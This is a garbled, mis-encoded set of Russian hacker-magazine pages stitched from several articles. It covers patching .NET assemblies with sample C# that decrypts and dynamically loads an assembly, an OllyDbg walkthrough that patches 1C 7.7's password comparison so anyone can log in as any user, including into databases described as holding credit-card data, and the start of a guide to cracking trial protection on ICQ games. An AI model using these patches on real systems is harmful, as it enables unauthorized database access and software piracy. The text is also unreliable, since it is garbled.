áàéòà. Äóìàþ, 15 ìèíóò ðàáîòû ñòîèëè òîãî. Îäíà-
êî íóæíî îòìåòèòü åùå îäèí ìîìåíò.

åñëè ..NET-êêîìïîíåíòû èñïîëüçóþò äðóãèå
ñáîðêè, òî ìîæåò áûòü çàäåéñòâîâàíà êðóãîâàÿ
ññûëêà çàâèñèìîñòè, òî åñòü â Reference ñáîðêè
1 áóäåò ññûëêà íà ñáîðêó 2, à â Reference ñáîð-

êè 2 — ññûëêà íà ñáîðêó 1. Ïðè òàêîì ðàñêëàäå
ìîäèôèêàöèÿ ëþáîé èç ñáîðîê ïðîñòî ïðèâåäåò
ê îøèáêå çàãðóçêè ñáîðêè. Ïîëó÷àåòñÿ, ÷òî íóæ-
íî óáèðàòü èíôîðìàöèþ î âåðñèÿõ è ïóáëè÷íûõ
êëþ÷àõ ýòèõ ñáîðîê. Âîò ïðèìåð ññûëêè íà äðó-
ãóþ ñáîðêó:

.assembly extern System.Windows.Forms

{

.publickeytoken = (B7 7A 5C 56 19 34 E0 89 )

.ver 1:0:3300:0

}

Îíà äîëæíà âûãëÿäåòü òàê:

.assembly extern System.Windows.Forms

{

}

Íàñ íàñòèãíåò òà æå ñàìàÿ ïðîáëåìà, åñëè ìû èç-
ìåíÿåì ñáîðêó, îò êîòîðîé çàâèñèò íåñêîëüêî äðó-
ãèõ ñáîðîê. Ïðèäåòñÿ ñäåëàòü èñïðàâëåíèå âî âñåõ
ñáîðêàõ.

çàêëþ÷åíèå. Íåêîòîðûå íåñîçíàòåëüíûå
ëè÷íîñòè, ÷òîáû èñïîëüçîâàòü â ñâîèõ êîðûñòíûõ
öåëÿõ âçëîìàííûå êîìïîíåíòû, óïàêîâûâàþò èëè
øèôðóþò ñáîðêè è õðàíÿò âñå ýòî õîçÿéñòâî ëèáî
âî âíåøíåì ôàéëå, ëèáî â ðåñóðñàõ, à ïðè çàïóñ-
êå ïðîãðàììû ðàñøèôðîâûâàþò è çàïóñêàþò äè-
íàìè÷åñêè. Íåñìîòðÿ íà òî, ÷òî ïðîñòîé ïðèìåð
ýòîãî âûíåñåí íå âðåçêó, êîòîðóþ òû ìîæåøü âè-
äåòü ÷óòü âûøå ýòîãî òåêñòà :), ìû èñêðåííå âå-
ðèì, ÷òî òû íå èñïîëüçóåøü ïîëó÷åííûå çíàíèÿ
âî âðåä òîëñòåíüêèì çàðóáåæíûì ïðîãðàììèñ-
òàì, à ïðîñòî áóäåøü â êóðñå. Ïðåäóïðåæäåí —
çíà÷èò âîîðóæåí :). 
Óäà÷è! Ïåé Ôàíòó, áóäü Áàìáó÷î! 

ïðèìåð ððàñøèôðîâêè ññáîðêè èè ääèíàìè÷åñêèé ââûçîâ ììåòîä èèç ííåå AAnyNamespace.FormMain::Show()
private void RunCrypt(string File)

{

System.IO.FileStream FS2 = new System.IO.FileStream(File, 

System.IO.FileMode.Open);

System.Security.Cryptography.CryptoStream CS2 = GetIO(FS2, 

System.Security.Cryptography.CryptoStreamMode.Read);

BinaryReader BR = new System.IO.BinaryReader(CS2);

string a = BR.ReadString();

int L = BR.ReadInt32();

Byte[] B = BR.ReadBytes(L + 1);

BR.Close();

System.Reflection.Assembly Asm = System.Reflection.Assembly.Load(B, null);

Type ModType = Asm.GetType("AnyNamespace.FormMain", true, true);

object Obj = Asm.CreateInstance(ModType.FullName);

Obj.GetType().InvokeMember("Show", 

System.Reflection.BindingFlags.Public, null, null, null);

}

private System.Security.Cryptography.CryptoStream

GetIO(System.IO.FileStream FS, 

System.Security.Cryptography.CryptoStreamMode Mode)

{

System.Security.Cryptography.DESCryptoServiceProvider Des = null;

byte[] K = new byte[]

{132, 55, 34, 88, 23, 1, 254, 187, 26, 56, 78, 255, 37, 143, 201, 5};

byte[] V = new byte[]{};

Des.Key = K;

Des.IV = V;

System.Security.Cryptography.ICryptoTransform Trans;

if (Mode == System.Security.Cryptography.CryptoStreamMode.Write)

{

Trans = Des.CreateEncryptor();

}

else

{

Trans = Des.CreateEncryptor();

}

return new System.Security.Cryptography.CryptoStream(FS, Trans, Mode);

}
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Ìîé îïûò 1Ñ-íèêà ïîêàçûâàåò, ÷òî çëîóìûøëåí-
íèêè â îñíîâíîì ïûòàþòñÿ ëîìàòü ôàéë users.usr.
Îí íàõîäèòñÿ ïî àäðåñó: êàòàëîã_ñ_áàçîé\usrdef
\users.usr è õðàíèò èíôîðìàöèþ î ïîëüçîâàòåëÿõ
è èõ ïàðîëÿõ. Ïàðîëè õðàíÿòñÿ â âèäå õýøåé:
MD5(pass), ïîýòîìó ïðîñìîòðåòü ïàðîëü ïðîñòî
òàê íå âûéäåò. Ñóùåñòâóþò áðóòôîðñåðû MD5
(èìåííî äëÿ 1Ñ), à òàêæå åñòü âîçìîæíîñòü ñêè-
íóòü ïàðîëè âñåõ ïîëüçîâàòåëåé. Îäíàêî ñáðîñ
âñåõ ïàðîëåé ìãíîâåííî âûçîâåò ïîäîçðåíèå àä-
ìèíîâ èëè áóõãàëòåðîâ. ß ïðîòåñòèðîâàë òàêîé
áðóòôîðñåð è ïðèøåë ê âûâîäó, ÷òî ÷èñëîâûå ïà-
ðîëè âçëàìûâàþòñÿ î÷åíü áûñòðî, íî äîñòàòî÷íî
ïîäêëþ÷èòü ñèìâîëû è îãðàíè÷èòü äëèíó 8-10
ñèìâîëàìè — è óæå ñòàíîâèòñÿ íåâåñåëî, òàê êàê
äåëî ïîïàõèâàåò äîëãèìè ÷àñàìè ïåðåáîðà. Òû
ñêàæåøü: «Äà áóõãàëòåðû äëÿ ïàðîëÿ âñåãäà ñâîé
ãîä ðîæäåíèÿ ïèøóò!» Â ÷åì-òî ïðàâèëüíî, íî…
Ïîñëåäíèå òåíäåíöèè â êîðïîðàöèÿõ è äàæå ìåë-
êîì áèçíåñå ïîêàçûâàþò ñòðåìëåíèå çàùèòèòü
èíôîðìàöèþ (äàííûå î êëèåíòàõ, ïîñòàâùèêàõ,

îáîðîòàõ ïðåäïðèÿòèÿ) îò êðàæè è îò ãëàç âåñüìà
çàèíòåðåñîâàííûõ êîíêóðåíòîâ. Â áîðüáå çà ñîõ-
ðàííîñòü äàííûõ ñîçäàþòñÿ ñëóæáû áåçîïàñíîñòè,
ââîäÿòñÿ àäìèíèñòðàòèâíûå ìåðû íàêàçàíèÿ, ìè-
íèìàëüíûå òðåáîâàíèÿ ê äëèíå ïàðîëÿ è ò.ï. 
Ê ïðèìåðó, â ôèðìå, ãäå ðàáîòàë ÿ, ìû ñàìè çàäà-
âàëè ïàðîëè è ñòàâèëè âîò òàêèå óñëîâèÿ:

Äëèíà = âîñåìü ñèìâîëîâ

Öèôðû + áóêâû + îäíà çàãëàâíàÿ 

â àíãëèéñêîé ðàñêëàäêå.

äëÿ ïïðîìåæóòî÷íîãî ââûâîäà ìîãó ñêàçàòü,
÷òî àòàêà íà users.usr èìååò íåñêîëüêî íåäîñòàòêîâ:

1 ÏÎÄÁÎÐ ÏÀÐÎËß ÏÅÐÅÁÎÐÎÌ ÍÅ
ÂÑÅÃÄÀ ÎÑÓÙÅÑÒÂÈÌ Â ÊÎÐÎÒÊÈÅ

ÑÐÎÊÈ, ÎÑÎÁÅÍÍÎ ÅÑËÈ ÎÑÒÀËÎÑÜ
ÐÀÁÎÒÀÒÜ ÄÂÅ ÍÅÄÅËÈ :).

2 ÂÐßÄ ËÈ ÏÎËÓ×ÈÒÑß ÓÄÀËÈÒÜ ÔÀÉË.

ËÞÁÎÉ ÍÎÐÌÀËÜÍÛÉ ÀÄÌÈÍ ÏÎÑÒÀ-

ÂÈÒ ÍÀ ÍÅÃÎ ÀÒÐÈÁÓÒ READONLY

(ÒÎËÜÊÎ ÄËß ×ÒÅÍÈß). ÏÎÄÌÅÍÈÒÜ

ÕÝØ-ÑÓÌÌÓ ÒÎÆÅ ÍÅ ÏÎËÓ×ÈÒÑß.

Íó ÷òî æ, ïðèäåòñÿ ïîñòóïèòü õèòðûì îáðàçîì.
Ó÷èòûâàÿ ñâîé îïûò ðåâåðñåðà, ÿ ðåøèë ïîêîâû-
ðÿòüñÿ â 1CV7s.exe (25-é ðåëèç). Êàê âûÿñíèëîñü,
íå çðÿ. Áóêâà S â êîíöå èìåíè ôàéëà óêàçûâàåò íà
SQL-âåðñèþ, ëîêàëüíóþ è ñåòåâóþ. Ìîé âûáîð ïàë
èìåííî íà íåå, îäíó èç ñàìûõ ðàñïðîñòðàíåííûõ,
íåñëó÷àéíî: îíà ïðåâîñõîäíî ðàáîòàåò íà Òåðìè-
íàëå, ïîääåðæèâàåò êàê DBF, òàê è SQL-áàçû,

ììèèêêððîîññêêîîïïèè÷÷ååññêêèèéé 
ààííààëëèèçç 11ÑÑ

ÎÄÍÀÆÄÛ ØÅÔ ÂÛÇÂÀË ÌÅÍß Ê ÑÅÁÅ È ÏÎÑÒÀÂÈË ÇÀÄÀ×Ó: ÏÐÎÂÅÑÒÈ ÀÓÄÈÒ
ÁÅÇÎÏÀÑÍÎÑÒÈ 1Ñ È ÏÎÏÛÒÀÒÜÑß ÏÎËÓ×ÈÒÜ ÄÎÑÒÓÏ Ê ÁÀÇÅ ÄÀÍÍÛÕ,
ÆÅËÀÒÅËÜÍÎ Ñ ÌÀÊÑÈÌÀËÜÍÛÌÈ ÏÐÈÂÈËÅÃÈßÌÈ |NICE

ÏÎËÓ×ÀÅÌ ÄÎÑÒÓÏ Ê ÁÄ 
Ñ ÌÀÊÑÈÌÀËÜÍÛÌÈ ÏÐÈÂÈËÅÃÈßÌÈ

top5 
áàãîâ

ÍÅ ÇÀÁÓÄÜ

ÇÀÃËßÍÓÒÜ 

ÍÀ ÄÈÑÊ — 

ÒÀÌ ÒÅÁß ÆÄÅÒ

ÍÅÁÎËÜØÎÉ

ÁÎÍÓÑ 

Ê ÑÒÀÒÜÅ

îøèáêà áëîêèðîâêè
êàòàëîãà ïîëüçîâàòåëÿ
Â 1Ñ ìîæíî ñîçäàòü äëÿ êàæäîãî ïîëüçî-
âàòåëÿ îòäåëüíûé êàòàëîã, ÷òîáû òàì îí

ñîõðàíÿë ñâîè îò÷åòû è ò.ï. Áûâàåò, ïðè
âõîäå â 1Ñ’êó âûñêàêèâàåò ñîîáùåíèå
«Êàòàëîã ïîëüçîâàòåëÿ çàíÿò» è ïðîã-
ðàììà çàâåðøàåò ñâîþ ðàáîòó, õîòÿ êà-

òàëîã íå çàíÿò è 1Ñ íå âèäíî â ñïèñêå
ïðîöåññîâ.

ß çíàþ òîëüêî îäíî âåðíîå ðåøå-
íèå — ïàò÷ èñïîëíÿåìîãî ôàéëà.

ñîõðàíåíèå îò÷åòîâ 
â ôîðìàòå Excel
Åñëè òû ðàáîòàë ñ 1Ñ â êðóïíîé ôèðìå
èëè íà îïòîâîì ïðåäïðèÿòèè, ãäå ôîðìè-
ðóþò áîëüøèå îò÷åòû äëèíîé â 3000
ñòðîê è áîëåå, òî òû ñòàëêèâàëñÿ ñ ïðîá-
ëåìîé ñîõðàíåíèÿ â ôîðìàòå XLS. Çàêî-
âûðêà ñêðûâàåòñÿ â òåõíîëîãèè OLE, ïðî-
èçâîäèòåëüíîñòü êîòîðîé, óâû, äàëåêî íå
íà âûñîòå. Êîãäà ïûòàåøüñÿ ñîõðàíèòüñÿ
â ôîðìàòå Excel’ÿ, 1Ñ’êà âèñíåò… Æäåì
30 ìèíóò, ÷àñ, à â îòâåò òîëüêî òèøèíà…

Èíîãäà ïîäîæäåøü íåñêîëüêî ÷àñîâ — è
ôàéë ñîçäàñòñÿ. Ýòà ïðîáëåìà èçâåñòíà,
ñ íåé áîðþòñÿ ïî-ðàçíîìó:

1 ÑÎÕÐÀÍßÞÒ ÎÒ×ÅÒ ÇÀ ÌÅÍÜØÈÉ
ÏÅÐÈÎÄ.

2 ÌÈÍÈÌÈÇÈÐÓÞÒ ÎÔÎÐÌËÅÍÈÅ
(ÎÒÊËÞ×ÀÞÒ ÖÂÅÒÀ, ÂÛÐÀÂÍÈÂÀ-
ÍÈÅ È Ò.Ï.).

3 ÈÑÏÎËÜÇÓÞÒ ÂÍÅØÍÈÅ ÍÀÐÀ-
ÁÎÒÊÈ È Ò.Ä.

Â òàêîé ñèòóàöèè ÿ èäó ïî îäíîìó èç äâóõ
ïóòåé:

1 ÑÎÕÐÀÍßÞ Â ÔÎÐÌÀÒÅ 1Ñ (MXL),

ÏÎÒÎÌ ÏÅÐÅÈÌÅÍÎÂÛÂÀÞ ÐÀÑØÈ-

ÐÅÍÈÅ ÍÀ *.XLS È ÎÒÊÐÛÂÀÞ Â

EXCEL’Å (ÈÍÎÃÄÀ ÔÎÐÌÀÒÈÐÎÂÀÍÈÅ

ÍÅ ÑÎÕÐÀÍßÅÒÑß).

2 ÑÎÕÐÀÍßÞ Â HTML È ÎÒÊÐÛÂÀÞ Â

EXCEL, ÔÎÐÌÀÒÈÐÓÞ È ÑÎÕÐÀ-

ÍßÞ Â ÔÎÐÌÀÒÅ *.XLS.

2
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èèññêêààææååííèèåå òòååêêññòòàà 
Åùå îäíà ðàñïðîñòðàíåííàÿ ïðîáëåìà —
èñêàæåíèå òåêñòà ïðè êîïèðîâàíèè èç
áóôåðà îáìåíà ïðè âûñòàâëåííîé àíã-
ëèéñêîé êîäèðîâêå.

Òàêîå íàáëþäàåòñÿ íå òîëüêî â 1Ñ, íî è â
äðóãèõ ïðîãðàììàõ, êîòîðûå, âèäèìî, èñ-
ïîëüçóò íåäîðàáîòàííóþ áèáëèîòåêó. Êàê
ïðîÿâëÿåòñÿ ïðîáëåìà: ìû êîïèðóåì
òåêñò, ñîäåðæàùèé ðóññêèå áóêâû, è

âñòàâëÿåì åãî â 1Ñ — âìåñòî íîðìàëü-
íûõ áóêâ ïîÿâëÿþòñÿ êàðàêóëè. ×òîáû
òåêñò ñêîïèðîâàëñÿ áåç èñêàæåíèÿ, äîñ-
òàòî÷íî ïåðåä âñòàâêîé òåêñòà ïåðåêëþ-
÷èòü ðàñêëàäêó íà ðóññêèé ÿçûê.

òòîîððììîîççàà ññ ççààññòòààââêêîîéé
Òàêàÿ ïðîáëåìà âîçíèêàåò êàê íà win-
dow’îì RDP, òàê è íà Citrix — ïðè âõî-
äå â òåðìèíàë äîëãî âèñèò çàñòàâêà

1Ñ, ÷òî ñâÿçàíî ñ ïëàâíîé ïåðåðèñîâ-
êîé. Ëå÷èòñÿ ýòà ïðîáëåìà òîëüêî ïàò-
÷åì (Ñîàðîí) èñïîëíÿåìîãî ôàéëà, 
â ðåçóëüòàòå 1Ñ çàãðóæàåòñÿ ãîðàçäî

øóñòðåå. Âñåì òåðìèíàëüùèêàì —
must have. Ñàîðîíîâñêèé ïàò÷ ïîçâîëÿ-
åò íå òîëüêî îòêëþ÷àòü è âêëþ÷àòü
çàñòàâêó ;).

îñâîáîæäàåò îò ãîëîâíîé áîëè íàñ÷åò ýëåêòðîí-
íûõ êëþ÷åé (êòî âèäåë ãîëóáûå ýêðàíû ïðè óñòà-
íîâêå ýìóëÿòîðîâ õàñïîâ, òîò ïîéìåò).

ïåðåéäåì êê ïïðàêòèêå. Ïðåäñòàâèì ñèòóàöèþ,
êîãäà åñòü áàçà äàííûõ ïî ñîòðóäíèêàì, ïîìèìî
ëè÷íûõ äàííûõ â íåé õðàíèòñÿ èíôîðìàöèÿ ïî
êðåäèòíûì êàðòàì. Êîíå÷íî, ìû íå äîïóùåíû 
ê ñïðàâî÷íèêó äîñòóïà, è, ñîîòâåòñòâåííî, íåò äî-
ñòóïà ê äîêóìåíòàì íà ïåðåâîä/íà÷èñëåíèå äå-
íåæíûõ ñðåäñòâ. Ïîðà ïîëó÷èòü åãî. Ïåðâîå, ÷òî
ïðèõîäèò â ãîëîâó, — óáðàòü ïðîâåðêó ïàðîëÿ 
è âõîäèòü ïîä ëþáûì ïîëüçîâàòåëåì.

Çàïóñêàåì îòëàä÷èê (ÿ èñïîëüçîâàë Ol-
lyDbg), â ñïèñêå âûáèðàåì íóæíóþ áàçó è ïûòàåì-
ñÿ àâòîðèçîâàòüñÿ êàê «Àäìèí». Ïîëó÷àåì ñîîá-
ùåíèå îá îøèáêå.

Ïîéäåì ïî êëàññè÷åñêîé ñõåìå, ñòàâèì
áðýéêïîèíò íà MessageBoxA (ñ ó÷åòîì ðåãèñòðà):
BP MessageBoxA. Òåïåðü íà êíîïêó ÎÊ, è ìû âû-
âàëèëèñü â:

77D2BC33 > 833D E>CMP [DWORD 

DS:77D5F2E4],0

77D2BC3A 0F85 F>JNZ USER32.77D3C23E

Ýòî ñèñòåìíàÿ áèáëèîòåêà USER32.dll, à çàùèòà
íàõîäèòñÿ â êîäå ñàìîé ïðîãðàììû (äîëãî ïðû-
ãàòü ïî áèáëèîòåêàì ñåé÷àñ íå âðåìÿ, òàê êàê
ëèøíèå ìó÷åíèÿ â 1Ñ’êå, ìíîãîñëîéíîì ïèðîãå ñ
êó÷åé èñïîëüçóåìûõ áèáëèîòåê, íè ê ÷åìó). Ìîè
èññëåäîâàíèÿ ïðèâåëè ê áèáëèîòåêå: UserDef.dll.
Èìÿ Dll ñîâïàäàåò ñ íàçâàíèåì êàòàëîãà, â êîòî-
ðîì õðàíÿòñÿ ïàðîëè ïîëüçîâàòåëåé. Âïîëíå ëî-
ãè÷íî, ÷òî ðàçðàáîò÷èêè âûíåñëè àâòîðèçàöèþ
ïîëüçîâàòåëåé èìåííî â íåå. Èòàê, <Ctrl>+<F9>,
çàêðîåì ñîîáùåíèå îá îøèáêå ÎÊ. Òåïåðü ñòàâèì
áðÿê íà ñåêöèþ êîäà dll, ÷òîáû íå ïðûãàòü ïî áè-
áëèîòåêàì è íå òåðÿòü ñâîå âðåìÿ. Òåïåðü <F9> —
è ìû íàõîäèìñÿ òóò:

260296AB E8 C4B>CALL <JMP.&MFC42.#1199> 

; Âûâîä ñîîáùåíèÿ îá îøèáêå

260296B0 68 2CF>PUSH USERDEF.2604F62C

260296B5 8BCF MOV ECX,EDI

Ïîäíèìåìñÿ ÷óòü âûøå:

26029691 50 PUSH EAX 

; õýø îò íàñòîÿùåãî ïàðîëÿ

26029692 51 PUSH ECX 

; õýø îò ïàðîëÿ, ââåäåííîãî íàìè

26029693 FF15 2>CALL [DWORD 

DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp 

; ýòà ïðîöåäóðà ñðàâíèâàåò äâå ñòðîêè 

è âîçâðàùàåò â ðåãèñòðå EAX íîëü, 

åñëè ñòðîêè ðàâíû, è -1, åñëè ñòðîêè 

ðàçëè÷àþòñÿ

26029699 83C4 0>ADD ESP,8

2602969C 85C0 TEST EAX,EAX

2602969E 5D POP EBP

2602969F 5B POP EBX

260296A0 74 23 JE SHORT 

USERDEF.260296C5 

; åñëè ñòðîêè ðàâíû, ïðîäîëæàåì ðàáîòó

Èòàê, ìû ìîæåì âíåñòè èçìåíåíèÿ â ðàáîòó
ýòîãî ó÷àñòêà è çàñòàâèòü 1Ñ äóìàòü, ÷òî òû
ââîäèøü ïàðîëü. Îäèí èç ðåöåïòîâ — ïåðåäàòü
â ïðîöåäóðó ñðàâíåíèÿ óêàçàòåëè íà îäíó è òó
æå ñòðîêó:

26029691 50 PUSH EAX 

; õýø îò íàñòîÿùåãî ïàðîëÿ

26029692 50 PUSH EAX 

; õýø îò íàñòîÿùåãî ïàðîëÿ

26029693 FF15 2>CALL [DWORD 

DS:<&MSVCRT._mbscmp>]

Òåïåðü ôóíêöèÿ âñåãäà áóäåò âîçâðàùàòü âåð-
íîå çíà÷åíèå è ìû ñìîæåì çàéòè ïîä ëþáûì
ïîëüçîâàòåëåì. Ïîñëå çàìåíû 1Ñ çàïóñòèò òåáÿ
â áàçó áåç íàðåêàíèé. Îäíàêî, íàïðèìåð, â ìî-
åé ôèðìå äëÿ êàæäîãî ïîëüçîâàòåëÿ çàâåäåí
ñïåöèàëüíûé êàòàëîã, è åñëè ïîëüçîâàòåëü ñ òà-
êèì æå èìåíåì ñèäèò â áàçå, òî ìû óâèäèì òàá-
ëè÷êó âåñüìà íåïðèÿòíîãî, ÿ áû äàæå ñêàçàë îò-
ðèöàòåëüíîãî, ñîäåðæàíèÿ :). 

èñïîëüçîâàíèå ëëè÷íûõ êêàòàëîãîâ — äîñòà-
òî÷íî ðàñïðîñòðàíåííîå ÿâëåíèå. Çíà÷èò, ìû äîë-

æíû óáðàòü òåêóùóþ ïðîâåðêó. Äåéñòâóåì ïî óêà-
çàííîé âûøå ñõåìå (áðÿê íà MessageBoxA è íåñ-
êîëüêî ðàç íà <Ctrl>+<F9>, ïîêà íå îêàæåøüñÿ â
ñàìîì 1Cv7S.exe).

00409075 . E8 6C>CALL <JMP.&MFC42.#800>

0040907A . 8A45 >MOV AL,[BYTE SS:

EBP-61]

0040907D . 84C0 TEST AL,AL

0040907F . 74 13 JE SHORT 

1CV7s.00409094 ; åñëè êàòàëîã íå çàíÿò, 

ïðûãàåì

00409081 . 6A FF PUSH -1

00409083 . 6A 10 PUSH 10

00409085 . 68 6C>PUSH 706C

0040908A . E8 2D>CALL <JMP.&MFC42.#1199>

âûâîä ñîîáùåíèÿ îá îøèáêå

0040908F . E9 84>JMP 1CV7s.0040AF18

Åñòåñòâåííî, ïîìåíÿâ ïåðåõîä, ìû ïðîïóñêàåì
ïðîâåðêó è îêàçûâàåìñÿ â áàçå.

Òåïåðü ìîæíî âûòâîðÿòü â áàçå ÷òî óãîäíî,
åñëè, êîíå÷íî, ïðàâà âûáðàííîãî ïîëüçîâàòåëÿ
ïîçâîëÿþò.

â ýýòîé ññòàòüå ÿ ðàññìîòðåë âåðñèþ 1Ñ 7.7.
Ïî÷åìó íå âîñüìåðêó? Âî-ïåðâûõ, 7.7 äî ñèõ ïîð
î÷åíü ðàñïðîñòðàíåíà, 95% ìîèõ çíàêîìûõ ïîëü-
çóþòñÿ èìåííî åé. Âî-âòîðûõ, âîñüìåðêà íå ìå-
íåå äûðÿâàÿ, ÷åì 7.7. Ê òàêîìó âûâîäó ÿ ïðèøåë
ïîñìîòðåâ íà ïîäõîä 1Ñ ê áåçîïàñíîñòè ïðîäóê-
òîâ. ×óòü ïîçæå ïðîâåðèì åùå ðàç. Àäìèíèñòðà-
òîðàì æå ñîâåòóþ èñïîëüçîâàòü òåðìèíàë ñ îò-
êëþ÷åííûì ìàïïèíãîì äèñêîâ èëè, ïðè ðàáîòå â
îáû÷íîì ñåòåâîì ðåæèìå, çàïóñêàòü 1Ñ ñ ïðàâà-
ìè äðóãîãî ïîëüçîâàòåëÿ (òîãäà íå ïîëó÷èòñÿ
ïðîïàò÷èòü ÷óæîé ïðîöåññ), à íà èñïîëíÿåìûå
ôàéëû 1Ñ îäíîçíà÷íî ñòàâèòü àòðèáóò ReadOnly.
Òîëüêî íå íà âñþ ïàïêó, èíà÷å îíà ïðèìåòñÿ ïà-
äàòü ïðè çàïóñêå.

íó èè ííàïîñëåäîê. Ìîãó ïîæåëàòü óäà÷è â êî-
äîêîïàòåëüñòâå, âçëîìå, ðåâåðñèíãå è ëè÷íîé
æèçíè :). Êîíå÷íî æå, óïîòðåáëÿé ïîëó÷åííûå çíà-
íèÿ, ÷òîáû çàùèòèòü ñåáÿ èëè ñâîþ êîìïàíèþ îò
çëûõ âçëîìùèêîâ. È áóäåò òåáå ñ÷àñòüå 

4
5

3ççààïïóóññêê îîããððààííèè÷÷ååííííîîããîî 
÷÷èèññëëàà êêîîïïèèéé 11ÑÑ
Íà ñåðâåðå ìîåé ôèðìû áûë çàïðåùåí
çàïóñê 1Ñ áîëåå ïÿòè ðàç. Òî, ñêîëüêî êî-

ïèé îäíîâðåìåííî òû ìîæåøü îòêðûòü,
ìîæåò çàâèñåòü îò êîíôèãóðàöèè ñåðâå-
ðà. Ýêñïåðèìåíòû íàâåëè ìåíÿ íà ìûñëü,
÷òî âèíîâàòî îãðàíè÷åíèå íà êîëè÷åñòâî

ôàéëîâ, îòêðûâàåìûõ â îäíîé ñåññèè.
Ðåøåíèÿ ïîêà íå íàéäåíî.

Ñâåæèå ðåøåíèÿ ýòîãî è äðóãèõ âîï-
ðîñîâ ñìîòðèì íà http://citrix.nm.ru.
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Âñå çíàþò, ÷òî òàêîå ICQ, è ìíîãèå ïîëüçóþòñÿ
ñòàíäàðòíûì êëèåíòîì ICQ Lite 4 èëè 5. Óäèâè-
òåëüíûé êëèåíò èìååò íàäñòðîéêó Xtraz — íà âèä
ïðîñòî ïàíåëüêà, êîòîðàÿ âûäâèãàåòñÿ ñ ëåâîãî
áîêà. Îäíà èç âîçìîæíîñòåé ýòîãî ðàñøèðåíèÿ —
ìàëåíüêèå çàáàâíûå èãðóøêè, ïðåäëàãàåìûå
ïîëüçîâàòåëþ. Åñëè íðàâèòñÿ Xtraz, êà÷àé ïîëíóþ
âåðñèþ ñ ñàéòà games.icq.com. Âñå áû õîðîøî, íî
êðàñîòå ìåøàåò îäíà ìåëî÷ü.

Íà âñåõ èãðóøêàõ ñ ýòîãî ñàéòà ñòîèò trial’íàÿ
çàùèòà, ïðè÷åì î÷åíü æåñòîêàÿ: ìîæíî ïîèãðàòü
áåñïëàòíî âñåãî ÷àñ, íàèãðàâ áîëüøå — ïëàòè $19.

ß îáíàðóæèë ïîäêîâûðêó íå ñðàçó è ñêà÷àë íåñêîëüêî
èãð, êîòîðûå ïîíðàâèëèñü ìíå. Â êàêîå æå óíûíèå ÿ
âïàë, êîãäà ïîíÿë, ÷òî ïîèãðàòü â íèõ òàê è íå óäàñòñÿ.

Îäíàêî ìîé äóõ íå áûë ñëîìëåí äî êîíöà… ß
ðåøèë èñïðàâèòü ñèòóàöèþ, è, êàê íè ñòðàííî, íàøåë
ðåøåíèå â ðåêîðäíî êîðîòêèå ñðîêè. Âçëîì áóäåò
ïðîäåìîíñòðèðîâàí íà ïðèìåðå èãðû Luxor — ëîãè÷å-
ñêîé àðêàäû, àíàëîãà çíàìåíèòîé Zuma. Èç äîïîëíè-

òåëüíîãî ñîôòà áûëà èñïîëüçîâàíà óòèëèòà WinTools
(www.wintools.net), â êîòîðîé åñòü âîçìîæíîñòü ïðîâå-
ñòè ïîëíóþ äåèíñòàëëÿöèþ ïðèëîæåíèÿ. Êñòàòè, íóæ-
íî çàìåòèòü: íèêîãäà íå ïîâòîðÿé òî, ÷òî ïðîäåëàë ÿ!

óñòàíîâêà, êàê îøèáî÷íî ñ÷èòàþò ìíîãèå —
ýòî øàã, íóæíûé òîëüêî ëàìåðàì. Íå ñïåøè ïðîïó-
ñêàòü ýòó òåìó — ôóíäàìåíò âçëîìà çàëîæåí èìåííî
çäåñü. Òàê ÷òî ÷èòàåì âíèìàòåëüíî è çàïîìèíàåì.

ïïîîääîîïïûûòòííûûåå 
ããîîëëîîââîîëëîîììêêèè
ÂÑÅÃÄÀ ÑÈËÜÍÎ ÐÀÑÑÒÐÀÈÂÀÞÑÜ, ÊÎÃÄÀ ÂÈÆÓ, ×ÒÎ ÏÐÎÃÐÀÌÌÊÀ, ÒÎËÜÊÎ ×ÒÎ
ÑÊÀ×ÀÍÍÀß ÈÇ ÈÍÒÅÐÍÅÒÀ, ÂÄÐÓÃ ÍÀ×ÈÍÀÅÒ ÏÐÎÑÈÒÜ ÇÀ ÑÅÁß N-Þ ÑÓÌÌÓ. ÐÀÍÜ-
ØÅ ÏÐÈÕÎÄÈËÎÑÜ ËÈÁÎ ÎÒÄÀÂÀÒÜ ÑÂÎÈ ÊÐÎÂÍÛÅ, ËÈÁÎ ÈÑÊÀÒÜ ÀËÜÒÅÐÍÀÒÈÂÛ.
ÁÎËÜØÈÍÑÒÂÎ ÏÎËÜÇÎÂÀÒÅËÅÉ ÄÎ ÑÈÕ ÏÎÐ ÏÎÑÒÓÏÀÞÒ ÒÎ×ÍÎ ÒÀÊ ÆÅ È ÈÄÓÒ
ÍÀ ÊÎÌÏÐÎÌÈÑ |DEEONI$ (DEEONIS@GMAIL.COM; ICQ 982-622)
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Êàê ÿ óæå ñêàçàë, íàì ïîòðåáóåòñÿ óòèëèòà WinTo-
ols. Åå ìîæíî íàéòè íà íàøåì äèñêå èëè ñêà÷àòü
â èíòåðíåòå ñ îôèöèàëüíîãî ñàéòà. Çàïóñêàåì,
íàæèìàåì íà êíîïêó Clean Un (ñàìàÿ ïåðâàÿ íà
ëåâîé ïàíåëüêå). Äàëåå â îñíîâíîì îêíå ïðîãðàì-
ìû — íàæàòü Create è ïîäîæäàòü, ïîêà ñîçäàñòñÿ
êîíòðîëüíàÿ òî÷êà. Ïî îêîí÷àíèè ïðîöåññà ÷óòü
íèæå âûáðàòü èíñòàëëÿöèþ èãðû è íàäàâèòü Run.
Â êîíöå óñòàíîâêè îñòàâèòü ôëàæîê, ïðåäëàãàþ-
ùèé çàïóñòèòü èãðó ïî íàæàòèþ êíîïêè Finish.

Ñðàçó ïîñëå ýòèõ äåéñòâèé ïåðåä íàìè ïîÿâëÿ-
åòñÿ êðàñèâîå îêíî, â åãî ëåâîé ÷àñòè ðàñïîëîæåíà
ïîëîñêà, êîòîðàÿ ïîêàçûâàåò, ñêîëüêî âðåìåíè îñòà-
ëîñü äî îêîí÷àíèÿ ðàáîòû èãðû (äîëæíî áûòü 60 ìè-
íóò), à â ëåâîé ÷àñòè — íåñêîëüêî êíîïîê. Òóò íóæíî
íàæàòü Play Demo NOW. Íàæèìàåì è, åñëè õî÷åòñÿ,
÷óòü-÷óòü èãðàåì. Âûõîäèì èç èãðû, çàêðûâàåì ïî-
ÿâèâøååñÿ îêíî è â WinTools æìåì Analyse. ×åðåç íå-
êîòîðîå âðåìÿ óòèëèòà ïðåäëîæèò ñîõðàíèòü ðåçóëü-
òàòû. Åñòåñòâåííî, ñîãëàøàåìñÿ íà ñîõðàíåíèå. Åñëè
